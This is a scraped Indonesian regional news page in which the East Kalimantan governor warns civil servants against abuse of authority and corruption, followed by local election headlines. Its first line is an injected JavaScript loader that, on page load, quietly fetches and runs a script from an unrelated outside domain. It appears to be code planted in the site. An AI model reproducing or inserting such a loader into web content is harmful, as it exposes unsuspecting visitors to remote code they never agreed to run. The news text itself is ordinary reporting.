(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Gubernur Kaltim ke Pegawai : Jangan Mencari Kelebihan, Nikmati dan Syukuri yang Ada


KANALKALIMANTAN.COM, SAMARINDA – Untuk mewujudkan pemerintah yang bersih, berwibawa serta profesional, maka seluruh pegawai di lingkungan Pemerintah Provinsi (Pemprov) Kaltim diingatkan untuk tidak menyalahgunakan wewenang.

Gubernur Kaltim Isran Noor mengatakan, setiap pegawai sudah mendapatkan haknya, sesuai yang diatur dalam perundang-undangan. Sehingga, jangan sekalipun menyalahi kewenangan untuk kepentingan pribadi, apalagi korupsi.

“Sebagai pegawai sudah mendapatkan hak sesuai amanah yang diberikan. Karena itu, jangan coba-coba menyalahgunakan wewenang. Sehingga, mampu mendapatkan keuntungan diri sendiri,” ujarnya, melansir dari Inibalikpapan.com -jaringan Suara.com-, Kamis (27/1/2022).

Mantan Bupati Kutai Timur (Kutim) dua periode itu mengingkatkan, jika menyalahgunakan kewenangan, maka akan berhadapan dengan aparat penegak hukum dan hukuman kurungan akan menanti.

“Akibatnya akan buruk. Ujung-ujungnya kurungan. Batin pun tak menentu,” sambungnya.

 

 

Baca juga: Mata Bumi Di Luar Angkasa “James Webb (JWST)” Berhasil Mengorbit 1 Juta Mil dari Bumi

Ia mengatakan, apa yang ia sampaikan ini tentunya memiliki alasan. Karena sejauh ini banyak pegawai, mulai dari pejabat hingga kepala daerah di Bumi Mulawarman yang harus berurusan dengan hukum.

Bahkan di awal tahun ini, operasi tangkap tangan (OTT) yang dilakukan Komisi Pemberantasan Korupsi (KPK) mengamankan Abdul Gafur Mas’ud (AGM) yang masih menjabat Bupati Penajam Paser Utara (PPU).

Selain AGM, KPK juga mengamankan Pelaksana Harian (Plh) Sekretaris Kabupaten dan sejumlah kepada dinas, termasuk pihak swasta. Dalam dugaan pemberian suap sejumlah proyek di PPU.

“Jangan mencari kelebihan, tetapi membuat diri sengsara. Nikmati dan syukuri yang ada, rezeki tidak akan ke mana-mana. Allah SWT sudah mengaturnya,” pesannya.

Ia melanjutkan, jika sudah tersangkut kasus hukum maka proses panjang menanti. Sehingga tugas dan tanggung jawab terganggu. Sehingga dia mengingatkan tidak menyalahgunakan wewenang.

Baca juga: KPK Sebut Kerangkeng Berisi Manusia Di Rumah Bupati Langkat Adalah Para Pekerja Sawit

“Salah atau tidak salah. Kalau sudah terlapor, siap-siap menjalaninya,” tandasnya. (kanalkalimantan.com/suara.com)

Editor : kk


Risa

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

7 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

8 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

8 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

13 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

14 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

14 jam ago

This website uses cookies.